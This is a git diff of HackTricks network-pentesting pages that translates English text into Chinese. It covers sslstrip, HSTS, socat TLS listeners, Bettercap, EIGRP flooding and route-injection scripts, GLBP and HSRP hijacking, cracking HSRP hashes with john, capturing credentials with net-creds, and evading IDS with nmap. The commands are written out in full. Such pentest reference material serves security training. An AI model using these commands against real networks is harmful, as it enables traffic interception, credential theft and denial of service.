victim has to try to access initially to [http://www.faceook.com](http://www.faceook.com) and not https. This can be done modifying the links inside an http page. +更多信息 [这里](https://www.bettercap.org/legacy/#hsts-bypass),[这里](https://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) 和 [这里](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly)。 -More info [here](https://www.bettercap.org/legacy/#hsts-bypass), [here](https://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) and [here](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly). - -**sslStrip or sslStrip+ doesn;t work anymore. This is because there are HSTS rules presaved in the browsers, so even if it's the first time that a user access an "important" domain he will access it via HTTPS. Also, notice that the presaved rules and other generated rules can use the flag** [**`includeSubdomains`**](https://hstspreload.appspot.com) **so the** _**wwww.facebook.com**_ **example from before won't work anymore as** _**facebook.com**_ **uses HSTS with `includeSubdomains`.** +**sslStrip 或 sslStrip+ 不再有效。这是因为浏览器中预先保存了 HSTS 规则,因此即使用户第一次访问“重要”域名,他也会通过 HTTPS 访问。此外,请注意,预先保存的规则和其他生成的规则可以使用标志** [**`includeSubdomains`**](https://hstspreload.appspot.com) **,因此之前的 _**wwww.facebook.com**_ **示例将不再有效,因为** _**facebook.com**_ **使用 HSTS 和 `includeSubdomains`。** TODO: easy-creds, evilgrade, metasploit, factory -## TCP listen in port - +## TCP 监听端口 ```bash sudo nc -l -p 80 socat TCP4-LISTEN:80,fork,reuseaddr - ``` +## TCP + SSL 在端口监听 -## TCP + SSL listen in port - -#### Generate keys and self-signed certificate - +#### 生成密钥和自签名证书 ``` FILENAME=server # Generate a public/private key pair: @@ -817,26 +725,20 @@ openssl req -new -key $FILENAME.key -x509 -sha256 -days 3653 -out $FILENAME.crt # Generate the PEM file by just appending the key and certificate files: cat $FILENAME.key $FILENAME.crt >$FILENAME.pem ``` - -#### Listen using certificate - +#### 使用证书监听 ``` sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 - ``` - -#### Listen using certificate and redirect to the hosts - +#### 使用证书监听并重定向到主机 ``` sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 openssl-connect:[SERVER]:[PORT],verify=0 ``` +有时,如果客户检查到CA是有效的,您可以**提供由CA签署的其他主机名的证书**。\ +另一个有趣的测试是**提供请求的主机名但自签名的证书**。 -Some times, if the client checks that the CA is a valid one, you could **serve a certificate of other hostname signed by a CA**.\ -Another interesting test, is to serve a c**ertificate of the requested hostname but self-signed**. - -Other things to test is to try to sign the certificate with a valid certificate that it is not a valid CA. Or to use the valid public key, force to use an algorithm as diffie hellman (one that do not need to decrypt anything with the real private key) and when the client request a probe of the real private key (like a hash) send a fake probe and expect that the client does not check this. +其他测试内容是尝试用一个有效的证书签署该证书,但该证书不是有效的CA。或者使用有效的公钥,强制使用一种算法,如Diffie-Hellman(不需要用真实私钥解密的算法),当客户请求真实私钥的探测(如哈希)时,发送一个假探测,并期望客户不检查这个。 ## Bettercap - ```bash # Events events.stream off #Stop showing events @@ -862,47 +764,43 @@ set wifi.ap.channel 5 set wifi.ap.encryption false #If true, WPA2 wifi.recon on; wifi.ap ``` +### 主动发现笔记 -### Active Discovery Notes +请注意,当UDP数据包发送到没有请求端口的设备时,会发送一个ICMP(端口不可达)消息。 -Take into account that when a UDP packet is sent to a device that do not have the requested port an ICMP (Port Unreachable) is sent. +### **ARP发现** -### **ARP discover** +ARP数据包用于发现网络中正在使用的IP。PC必须为每个可能的IP地址发送请求,只有正在使用的IP会响应。 -ARP packets are used to discover wich IPs are being used inside the network. The PC has to send a request for each possible IP address and only the ones that are being used will respond. +### **mDNS(多播DNS)** -### **mDNS (multicast DNS)** +Bettercap每隔X毫秒发送一个MDNS请求,询问**\_services\_.dns-sd.\_udp.local**,看到这个数据包的机器通常会回答这个请求。然后,它只搜索回答“services”的机器。 -Bettercap send a MDNS request (each X ms) asking for **\_services\_.dns-sd.\_udp.local** the machine that see this paket usually answer this request. Then, it only searchs for machine answering to "services". - -**Tools** +**工具** - Avahi-browser (--all) - Bettercap (net.probe.mdns) - Responder -### **NBNS (NetBios Name Server)** +### **NBNS(NetBios名称服务器)** -Bettercap broadcast packets to the port 137/UDP asking for the name "CKAAAAAAAAAAAAAAAAAAAAAAAAAAA". +Bettercap广播数据包到端口137/UDP,询问名称“CKAAAAAAAAAAAAAAAAAAAAAAAAAAA”。 -### **SSDP (Simple Service Discovery Protocol)** +### **SSDP(简单服务发现协议)** -Bettercap broadcast SSDP packets searching for all kind of services (UDP Port 1900). +Bettercap广播SSDP数据包,搜索各种服务(UDP端口1900)。 -### **WSD (Web Service Discovery)** +### **WSD(Web服务发现)** -Bettercap broadcast WSD packets searching for services (UDP Port 3702). +Bettercap广播WSD数据包,搜索服务(UDP端口3702)。 -## References +## 参考文献 - [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) -- **Network Security Assessment: Know Your Network (3rd edition)** -- **Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things. By Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou, Beau Wood** +- **网络安全评估:了解您的网络(第三版)** +- **实用物联网黑客:攻击物联网的权威指南。作者:Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou, Beau Wood** - [https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) -\ -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! -{% embed url="https://go.intigriti.com/hacktricks" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/pentesting-network/dhcpv6.md b/src/generic-methodologies-and-resources/pentesting-network/dhcpv6.md index 9dcab7fc1..36a4482e2 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/dhcpv6.md +++ b/src/generic-methodologies-and-resources/pentesting-network/dhcpv6.md @@ -1,10 +1,10 @@ {{#include ../../banners/hacktricks-training.md}} -### DHCPv6 vs. DHCPv4 Message Types Comparison +### DHCPv6 与 DHCPv4 消息类型比较 -A comparative view of DHCPv6 and DHCPv4 message types is presented in the table below: +下表展示了 DHCPv6 和 DHCPv4 消息类型的比较视图: -| DHCPv6 Message Type | DHCPv4 Message Type | +| DHCPv6 消息类型 | DHCPv4 消息类型 | | :--------------------------------- | :------------------ | | Solicit (1) | DHCPDISCOVER | | Advertise (2) | DHCPOFFER | @@ -17,23 +17,23 @@ A comparative view of DHCPv6 and DHCPv4 message types is presented in the table | Reconfigure (10) | DHCPFORCERENEW | | Relay-Forw (12), Relay-Reply (13) | none | -**Detailed Explanation of DHCPv6 Message Types:** +**DHCPv6 消息类型的详细说明:** -1. **Solicit (1)**: Initiated by a DHCPv6 client to find available servers. -2. **Advertise (2)**: Sent by servers in response to a Solicit, indicating availability for DHCP service. -3. **Request (3)**: Clients use this to request IP addresses or prefixes from a specific server. -4. **Confirm (4)**: Used by a client to verify if the assigned addresses are still valid on the network, typically after a network change. -5. **Renew (5)**: Clients send this to the original server to extend address lifetimes or update configurations. -6. **Rebind (6)**: Sent to any server to extend address lifetimes or update configurations, especially when no response is received to a Renew. -7. **Reply (7)**: Servers use this to provide addresses, configuration parameters, or to acknowledge messages like Release or Decline. -8. **Release (8)**: Clients inform the server to stop using one or more assigned addresses. -9. **Decline (9)**: Sent by clients to report that assigned addresses are in conflict on the network. -10. **Reconfigure (10)**: Servers prompt clients to initiate transactions for new or updated configurations. -11. **Information-Request (11)**: Clients request configuration parameters without IP address assignment. -12. **Relay-Forw (12)**: Relay agents forward messages to servers. -13. **Relay-Repl (13)**: Servers reply to relay agents, who then deliver the message to the client. +1. **Solicit (1)**:由 DHCPv6 客户端发起,以查找可用的服务器。 +2. **Advertise (2)**:服务器在响应 Solicit 时发送,表示 DHCP 服务的可用性。 +3. **Request (3)**:客户端用此请求特定服务器的 IP 地址或前缀。 +4. **Confirm (4)**:客户端用于验证分配的地址在网络上是否仍然有效,通常在网络变化后。 +5. **Renew (5)**:客户端向原服务器发送此消息以延长地址生命周期或更新配置。 +6. **Rebind (6)**:发送给任何服务器以延长地址生命周期或更新配置,特别是在未收到 Renew 响应时。 +7. **Reply (7)**:服务器用此提供地址、配置参数或确认如 Release 或 Decline 的消息。 +8. **Release (8)**:客户端通知服务器停止使用一个或多个分配的地址。 +9. **Decline (9)**:客户端发送此消息以报告分配的地址在网络上发生冲突。 +10. **Reconfigure (10)**:服务器提示客户端发起新或更新配置的事务。 +11. **Information-Request (11)**:客户端请求配置参数而不分配 IP 地址。 +12. **Relay-Forw (12)**:中继代理将消息转发给服务器。 +13. **Relay-Repl (13)**:服务器回复中继代理,后者将消息传递给客户端。 -## References +## 参考文献 - [https://support.huawei.com/enterprise/en/doc/EDOC1100306163/d427e938/introduction-to-dhcpv6-messages](https://support.huawei.com/enterprise/en/doc/EDOC1100306163/d427e938/introduction-to-dhcpv6-messages) diff --git a/src/generic-methodologies-and-resources/pentesting-network/eigrp-attacks.md b/src/generic-methodologies-and-resources/pentesting-network/eigrp-attacks.md index fe4b7247a..1f16ff971 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/eigrp-attacks.md +++ b/src/generic-methodologies-and-resources/pentesting-network/eigrp-attacks.md @@ -1,61 +1,61 @@ -# EIGRP Attacks +# EIGRP攻击 {{#include ../../banners/hacktricks-training.md}} -**This is a summary of the attacks exposed in** [**https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9**](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9). Check it for further information. +**这是在** [**https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9**](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) **中曝光的攻击摘要。请查看以获取更多信息。** -## **Fake EIGRP Neighbors Attack** +## **伪造EIGRP邻居攻击** -- **Objective**: To overload router CPUs by flooding them with EIGRP hello packets, potentially leading to a Denial of Service (DoS) attack. -- **Tool**: **helloflooding.py** script. -- **Execution**: - %%%bash - ~$ sudo python3 helloflooding.py --interface eth0 --as 1 --subnet 10.10.100.0/24 - %%% -- **Parameters**: - - `--interface`: Specifies the network interface, e.g., `eth0`. - - `--as`: Defines the EIGRP autonomous system number, e.g., `1`. - - `--subnet`: Sets the subnet location, e.g., `10.10.100.0/24`. +- **目标**:通过向路由器发送EIGRP hello数据包来过载路由器CPU,可能导致拒绝服务(DoS)攻击。 +- **工具**:**helloflooding.py**脚本。 +- **执行**: +%%%bash +~$ sudo python3 helloflooding.py --interface eth0 --as 1 --subnet 10.10.100.0/24 +%%% +- **参数**: +- `--interface`:指定网络接口,例如`eth0`。 +- `--as`:定义EIGRP自治系统编号,例如`1`。 +- `--subnet`:设置子网位置,例如`10.10.100.0/24`。 -## **EIGRP Blackhole Attack** +## **EIGRP黑洞攻击** -- **Objective**: To disrupt network traffic flow by injecting a false route, leading to a blackhole where the traffic is directed to a non-existent destination. -- **Tool**: **routeinject.py** script. -- **Execution**: - %%%bash - ~$ sudo python3 routeinject.py --interface eth0 --as 1 --src 10.10.100.50 --dst 172.16.100.140 --prefix 32 - %%% -- **Parameters**: - - `--interface`: Specifies the attacker’s system interface. - - `--as`: Defines the EIGRP AS number. - - `--src`: Sets the attacker’s IP address. - - `--dst`: Sets the target subnet IP. - - `--prefix`: Defines the mask of the target subnet IP. +- **目标**:通过注入虚假路由来干扰网络流量,导致流量被引导到一个不存在的目的地。 +- **工具**:**routeinject.py**脚本。 +- **执行**: +%%%bash +~$ sudo python3 routeinject.py --interface eth0 --as 1 --src 10.10.100.50 --dst 172.16.100.140 --prefix 32 +%%% +- **参数**: +- `--interface`:指定攻击者的系统接口。 +- `--as`:定义EIGRP AS编号。 +- `--src`:设置攻击者的IP地址。 +- `--dst`:设置目标子网IP。 +- `--prefix`:定义目标子网IP的掩码。 -## **Abusing K-Values Attack** +## **滥用K值攻击** -- **Objective**: To create continuous disruptions and reconnections within the EIGRP domain by injecting altered K-values, effectively resulting in a DoS attack. -- **Tool**: **relationshipnightmare.py** script. -- **Execution**: - %%%bash - ~$ sudo python3 relationshipnightmare.py --interface eth0 --as 1 --src 10.10.100.100 - %%% -- **Parameters**: - - `--interface`: Specifies the network interface. - - `--as`: Defines the EIGRP AS number. - - `--src`: Sets the IP Address of a legitimate router. +- **目标**:通过注入更改的K值在EIGRP域内创建持续的中断和重新连接,最终导致DoS攻击。 +- **工具**:**relationshipnightmare.py**脚本。 +- **执行**: +%%%bash +~$ sudo python3 relationshipnightmare.py --interface eth0 --as 1 --src 10.10.100.100 +%%% +- **参数**: +- `--interface`:指定网络接口。 +- `--as`:定义EIGRP AS编号。 +- `--src`:设置合法路由器的IP地址。 -## **Routing Table Overflow Attack** +## **路由表溢出攻击** -- **Objective**: To strain the router's CPU and RAM by flooding the routing table with numerous false routes. -- **Tool**: **routingtableoverflow.py** script. -- **Execution**: - %%%bash - sudo python3 routingtableoverflow.py --interface eth0 --as 1 --src 10.10.100.50 - %%% -- **Parameters**: - - `--interface`: Specifies the network interface. - - `--as`: Defines the EIGRP AS number. - - `--src`: Sets the attacker’s IP address. +- **目标**:通过向路由表中填充大量虚假路由来加重路由器的CPU和RAM负担。 +- **工具**:**routingtableoverflow.py**脚本。 +- **执行**: +%%%bash +sudo python3 routingtableoverflow.py --interface eth0 --as 1 --src 10.10.100.50 +%%% +- **参数**: +- `--interface`:指定网络接口。 +- `--as`:定义EIGRP AS编号。 +- `--src`:设置攻击者的IP地址。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/pentesting-network/glbp-and-hsrp-attacks.md b/src/generic-methodologies-and-resources/pentesting-network/glbp-and-hsrp-attacks.md index 77e1a445e..0065aa90b 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/glbp-and-hsrp-attacks.md +++ b/src/generic-methodologies-and-resources/pentesting-network/glbp-and-hsrp-attacks.md @@ -2,60 +2,56 @@ {{#include ../../banners/hacktricks-training.md}} -
- -{% embed url="https://websec.nl/" %} ## FHRP Hijacking Overview ### Insights into FHRP -FHRP is designed to provide network robustness by merging multiple routers into a single virtual unit, thereby enhancing load distribution and fault tolerance. Cisco Systems introduced prominent protocols in this suite, such as GLBP and HSRP. +FHRP旨在通过将多个路由器合并为一个虚拟单元来提供网络的鲁棒性,从而增强负载分配和容错能力。思科系统公司在这一套协议中引入了GLBP和HSRP等重要协议。 ### GLBP Protocol Insights -Cisco's creation, GLBP, functions on the TCP/IP stack, utilizing UDP on port 3222 for communication. Routers in a GLBP group exchange "hello" packets at 3-second intervals. If a router fails to send these packets for 10 seconds, it is presumed to be offline. However, these timers are not fixed and can be modified. +思科创建的GLBP在TCP/IP协议栈上运行,使用UDP在3222端口进行通信。GLBP组中的路由器每3秒交换一次“hello”数据包。如果路由器在10秒内未发送这些数据包,则被认为是离线的。然而,这些定时器并不是固定的,可以进行修改。 ### GLBP Operations and Load Distribution -GLBP stands out by enabling load distribution across routers using a single virtual IP coupled with multiple virtual MAC addresses. In a GLBP group, every router is involved in packet forwarding. Unlike HSRP/VRRP, GLBP offers genuine load balancing through several mechanisms: +GLBP的特点是通过使用单个虚拟IP和多个虚拟MAC地址在路由器之间实现负载分配。在GLBP组中,每个路由器都参与数据包转发。与HSRP/VRRP不同,GLBP通过多种机制提供真正的负载均衡: -- **Host-Dependent Load Balancing:** Maintains consistent AVF MAC address assignment to a host, essential for stable NAT configurations. -- **Round-Robin Load Balancing:** The default approach, alternating AVF MAC address assignment among requesting hosts. -- **Weighted Round-Robin Load Balancing:** Distributes load based on predefined "Weight" metrics. +- **Host-Dependent Load Balancing:** 为主机保持一致的AVF MAC地址分配,这对稳定的NAT配置至关重要。 +- **Round-Robin Load Balancing:** 默认方法,在请求主机之间交替分配AVF MAC地址。 +- **Weighted Round-Robin Load Balancing:** 根据预定义的“权重”指标分配负载。 ### Key Components and Terminologies in GLBP -- **AVG (Active Virtual Gateway):** The main router, responsible for allocating MAC addresses to peer routers. -- **AVF (Active Virtual Forwarder):** A router designated to manage network traffic. -- **GLBP Priority:** A metric that determines the AVG, starting at a default of 100 and ranging between 1 and 255. -- **GLBP Weight:** Reflects the current load on a router, adjustable either manually or through Object Tracking. -- **GLBP Virtual IP Address:** Serves as the network's default gateway for all connected devices. +- **AVG (Active Virtual Gateway):** 主要路由器,负责将MAC地址分配给对等路由器。 +- **AVF (Active Virtual Forwarder):** 指定管理网络流量的路由器。 +- **GLBP Priority:** 决定AVG的指标,默认值为100,范围在1到255之间。 +- **GLBP Weight:** 反映路由器的当前负载,可以手动或通过对象跟踪进行调整。 +- **GLBP Virtual IP Address:** 作为所有连接设备的网络默认网关。 -For interactions, GLBP employs the reserved multicast address 224.0.0.102 and UDP port 3222. Routers transmit "hello" packets at 3-second intervals, and are considered non-operational if a packet is missed over a 10-second duration. +对于交互,GLBP使用保留的组播地址224.0.0.102和UDP端口3222。路由器每3秒发送一次“hello”数据包,如果在10秒内错过一个数据包,则被视为非操作状态。 ### GLBP Attack Mechanism -An attacker can become the primary router by sending a GLBP packet with the highest priority value (255). This can lead to DoS or MITM attacks, allowing traffic interception or redirection. +攻击者可以通过发送优先级值最高(255)的GLBP数据包成为主路由器。这可能导致DoS或MITM攻击,从而允许流量拦截或重定向。 ### Executing a GLBP Attack with Loki -[Loki](https://github.com/raizo62/loki_on_kali) can perform a GLBP attack by injecting a packet with priority and weight set to 255. Pre-attack steps involve gathering information like the virtual IP address, authentication presence, and router priority values using tools like Wireshark. +[Loki](https://github.com/raizo62/loki_on_kali)可以通过注入优先级和权重设置为255的数据包来执行GLBP攻击。攻击前的步骤包括使用Wireshark等工具收集虚拟IP地址、身份验证存在性和路由器优先级值等信息。 -Attack Steps: +攻击步骤: -1. Switch to promiscuous mode and enable IP forwarding. -2. Identify the target router and retrieve its IP. -3. Generate a Gratuitous ARP. -4. Inject a malicious GLBP packet, impersonating the AVG. -5. Assign a secondary IP address to the attacker's network interface, mirroring the GLBP virtual IP. -6. Implement SNAT for complete traffic visibility. -7. Adjust routing to ensure continued internet access through the original AVG router. +1. 切换到混杂模式并启用IP转发。 +2. 确定目标路由器并获取其IP。 +3. 生成一个无偿ARP。 +4. 注入一个恶意GLBP数据包,冒充AVG。 +5. 为攻击者的网络接口分配一个次要IP地址,镜像GLBP虚拟IP。 +6. 实施SNAT以实现完整的流量可见性。 +7. 调整路由以确保通过原始AVG路由器继续访问互联网。 -By following these steps, the attacker positions themselves as a "man in the middle," capable of intercepting and analyzing network traffic, including unencrypted or sensitive data. - -For demonstration, here are the required command snippets: +通过遵循这些步骤,攻击者将自己定位为“中间人”,能够拦截和分析网络流量,包括未加密或敏感数据。 +为了演示,以下是所需的命令片段: ```bash # Enable promiscuous mode and IP forwarding sudo ip link set eth0 promisc on @@ -69,78 +65,74 @@ sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE sudo route del default sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100 ``` +监控和拦截流量可以使用 net-creds.py 或类似工具来捕获和分析流经被攻陷网络的数据。 -Monitoring and intercepting traffic can be done using net-creds.py or similar tools to capture and analyze data flowing through the compromised network. +### HSRP 劫持的被动解释与命令细节 -### Passive Explanation of HSRP Hijacking with Command Details +#### HSRP(热备份路由器/冗余协议)概述 -#### Overview of HSRP (Hot Standby Router/Redundancy Protocol) +HSRP 是一种思科专有协议,旨在实现网络网关冗余。它允许将多个物理路由器配置为一个共享 IP 地址的单一逻辑单元。该逻辑单元由一个主要路由器管理,负责流量的引导。与使用优先级和权重进行负载均衡的 GLBP 不同,HSRP 依赖于单个活动路由器进行流量管理。 -HSRP is a Cisco proprietary protocol designed for network gateway redundancy. It allows the configuration of multiple physical routers into a single logical unit with a shared IP address. This logical unit is managed by a primary router responsible for directing traffic. Unlike GLBP, which uses metrics like priority and weight for load balancing, HSRP relies on a single active router for traffic management. +#### HSRP 中的角色和术语 -#### Roles and Terminology in HSRP +- **HSRP 活动路由器**:作为网关的设备,管理流量流动。 +- **HSRP 备用路由器**:准备接管活动路由器故障时的备份路由器。 +- **HSRP 组**:一组路由器协作形成一个单一的弹性虚拟路由器。 +- **HSRP MAC 地址**:在 HSRP 设置中分配给逻辑路由器的虚拟 MAC 地址。 +- **HSRP 虚拟 IP 地址**:HSRP 组的虚拟 IP 地址,作为连接设备的默认网关。 -- **HSRP Active Router**: The device acting as the gateway, managing traffic flow. -- **HSRP Standby Router**: A backup router, ready to take over if the active router fails. -- **HSRP Group**: A set of routers collaborating to form a single resilient virtual router. -- **HSRP MAC Address**: A virtual MAC address assigned to the logical router in the HSRP setup. -- **HSRP Virtual IP Address**: The virtual IP address of the HSRP group, acting as the default gateway for connected devices. +#### HSRP 版本 -#### HSRP Versions +HSRP 有两个版本,HSRPv1 和 HSRPv2,主要在组容量、多播 IP 使用和虚拟 MAC 地址结构上有所不同。该协议利用特定的多播 IP 地址进行服务信息交换,每 3 秒发送一次 Hello 数据包。如果在 10 秒内未收到数据包,则假定路由器处于非活动状态。 -HSRP comes in two versions, HSRPv1 and HSRPv2, differing mainly in group capacity, multicast IP usage, and virtual MAC address structure. The protocol utilizes specific multicast IP addresses for service information exchange, with Hello packets sent every 3 seconds. A router is presumed inactive if no packet is received within a 10-second interval. +#### HSRP 攻击机制 -#### HSRP Attack Mechanism +HSRP 攻击涉及通过注入最大优先级值强行接管活动路由器的角色。这可能导致中间人(MITM)攻击。攻击前的基本步骤包括收集有关 HSRP 设置的数据,可以使用 Wireshark 进行流量分析。 -HSRP attacks involve forcibly taking over the Active Router's role by injecting a maximum priority value. This can lead to a Man-In-The-Middle (MITM) attack. Essential pre-attack steps include gathering data about the HSRP setup, which can be done using Wireshark for traffic analysis. +#### 绕过 HSRP 身份验证的步骤 -#### Steps for Bypassing HSRP Authentication +1. 将包含 HSRP 数据的网络流量保存为 .pcap 文件。 +```shell +tcpdump -w hsrp_traffic.pcap +``` +2. 使用 hsrp2john.py 从 .pcap 文件中提取 MD5 哈希。 +```shell +python2 hsrp2john.py hsrp_traffic.pcap > hsrp_hashes +``` +3. 使用 John the Ripper 破解 MD5 哈希。 +```shell +john --wordlist=mywordlist.txt hsrp_hashes +``` -1. Save the network traffic containing HSRP data as a .pcap file. - ```shell - tcpdump -w hsrp_traffic.pcap - ``` -2. Extract MD5 hashes from the .pcap file using hsrp2john.py. - ```shell - python2 hsrp2john.py hsrp_traffic.pcap > hsrp_hashes - ``` -3. Crack the MD5 hashes using John the Ripper. - ```shell - john --wordlist=mywordlist.txt hsrp_hashes - ``` +**使用 Loki 执行 HSRP 注入** -**Executing HSRP Injection with Loki** +1. 启动 Loki 以识别 HSRP 广告。 +2. 将网络接口设置为混杂模式并启用 IP 转发。 +```shell +sudo ip link set eth0 promisc on +sudo sysctl -w net.ipv4.ip_forward=1 +``` +3. 使用 Loki 针对特定路由器,输入破解的 HSRP 密码,并执行必要的配置以冒充活动路由器。 +4. 在获得活动路由器角色后,配置您的网络接口和 IP 表以拦截合法流量。 +```shell +sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0 +sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE +``` +5. 修改路由表以通过前活动路由器路由流量。 +```shell +sudo route del default +sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100 +``` +6. 使用 net-creds.py 或类似工具从拦截的流量中捕获凭据。 +```shell +sudo python2 net-creds.py -i eth0 +``` -1. Launch Loki to identify HSRP advertisements. -2. Set the network interface to promiscuous mode and enable IP forwarding. - ```shell - sudo ip link set eth0 promisc on - sudo sysctl -w net.ipv4.ip_forward=1 - ``` -3. Use Loki to target the specific router, input the cracked HSRP password, and perform necessary configurations to impersonate the Active Router. -4. After gaining the Active Router role, configure your network interface and IP tables to intercept the legitimate traffic. - ```shell - sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0 - sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE - ``` -5. Modify the routing table to route traffic through the former Active Router. - ```shell - sudo route del default - sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100 - ``` -6. Use net-creds.py or a similar utility to capture credentials from the intercepted traffic. - ```shell - sudo python2 net-creds.py -i eth0 - ``` +执行这些步骤使攻击者能够拦截和操纵流量,类似于 GLBP 劫持的过程。这突显了 HSRP 等冗余协议的脆弱性以及对强大安全措施的需求。 -Executing these steps places the attacker in a position to intercept and manipulate traffic, similar to the procedure for GLBP hijacking. This highlights the vulnerability in redundancy protocols like HSRP and the need for robust security measures. - -## References +## 参考文献 - [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) -
- -{% embed url="https://websec.nl/" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/pentesting-network/ids-evasion.md b/src/generic-methodologies-and-resources/pentesting-network/ids-evasion.md index fd94988fa..536cdd9bc 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/ids-evasion.md +++ b/src/generic-methodologies-and-resources/pentesting-network/ids-evasion.md @@ -1,57 +1,45 @@ {{#include ../../banners/hacktricks-training.md}} -
+# **TTL 操作** -Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: +发送一些 TTL 足够到达 IDS/IPS 但不足以到达最终系统的数据包。然后,发送另一组与之前相同序列的数据包,以便 IPS/IDS 会认为它们是重复的而不会检查,但实际上它们携带了恶意内容。 -{% embed url="https://academy.8ksec.io/" %} +**Nmap 选项:** `--ttlvalue ` -# **TTL Manipulation** +# 避免签名 -Send some packets with a TTL enough to arrive to the IDS/IPS but not enough to arrive to the final system. And then, send another packets with the same sequences as the other ones so the IPS/IDS will think that they are repetitions and won't check them, but indeed they are carrying the malicious content. +只需向数据包中添加垃圾数据,以避免 IPS/IDS 签名。 -**Nmap option:** `--ttlvalue ` +**Nmap 选项:** `--data-length 25` -# Avoiding signatures +# **分片数据包** -Just add garbage data to the packets so the IPS/IDS signature is avoided. +只需将数据包分片并发送。如果 IDS/IPS 没有重组它们的能力,它们将到达最终主机。 -**Nmap option:** `--data-length 25` +**Nmap 选项:** `-f` -# **Fragmented Packets** +# **无效** _**校验和**_ -Just fragment the packets and send them. If the IDS/IPS doesn't have the ability to reassemble them, they will arrive to the final host. +传感器通常出于性能原因不计算校验和。因此,攻击者可以发送一个数据包,该数据包将被 **传感器解释但被最终主机拒绝。** 示例: -**Nmap option:** `-f` +发送一个带有 RST 标志和无效校验和的数据包,因此,IPS/IDS 可能认为该数据包将关闭连接,但最终主机将丢弃该数据包,因为校验和无效。 -# **Invalid** _**checksum**_ +# **不常见的 IP 和 TCP 选项** -Sensors usually don't calculate checksum for performance reasons. So an attacker can send a packet that will be **interpreted by the sensor but rejected by the final host.** Example: +传感器可能会忽略某些标志和选项设置在 IP 和 TCP 头中的数据包,而目标主机在接收时接受该数据包。 -Send a packet with the flag RST and a invalid checksum, so then, the IPS/IDS may thing that this packet is going to close the connection, but the final host will discard the packet as the checksum is invalid. +# **重叠** -# **Uncommon IP and TCP options** +当你分片一个数据包时,可能会存在某种重叠(也许数据包 2 的前 8 字节与数据包 1 的最后 8 字节重叠,数据包 2 的最后 8 字节与数据包 3 的前 8 字节重叠)。然后,如果 IDS/IPS 以不同于最终主机的方式重组它们,将会解释为不同的数据包。\ +或者,也许,两个具有相同偏移量的数据包到达,主机必须决定选择哪个。 -A sensor might disregard packets with certain flags and options set within IP and TCP headers, whereas the destination host accepts the packet upon receipt. +- **BSD**: 优先选择偏移量较小的数据包。对于具有相同偏移量的数据包,将选择第一个。 +- **Linux**: 像 BSD,但它更喜欢具有相同偏移量的最后一个数据包。 +- **First** (Windows): 第一个到达的值,保持该值。 +- **Last** (cisco): 最后到达的值,保持该值。 -# **Overlapping** - -It is possible that when you fragment a packet, some kind of overlapping exists between packets (maybe first 8 bytes of packet 2 overlaps with last 8 bytes of packet 1, and 8 last bytes of packet 2 overlaps with first 8 bytes of packet 3). Then, if the IDS/IPS reassembles them in a different way than the final host, a different packet will be interpreted.\ -Or maybe, 2 packets with the same offset comes and the host has to decide which one it takes. - -- **BSD**: It has preference for packets with smaller _offset_. For packets with same offset, it will choose the first one. -- **Linux**: Like BSD, but it prefers the last packet with the same offset. -- **First** (Windows): First value that comes, value that stays. -- **Last** (cisco): Last value that comes, value that stays. - -# Tools +# 工具 - [https://github.com/vecna/sniffjoke](https://github.com/vecna/sniffjoke) -
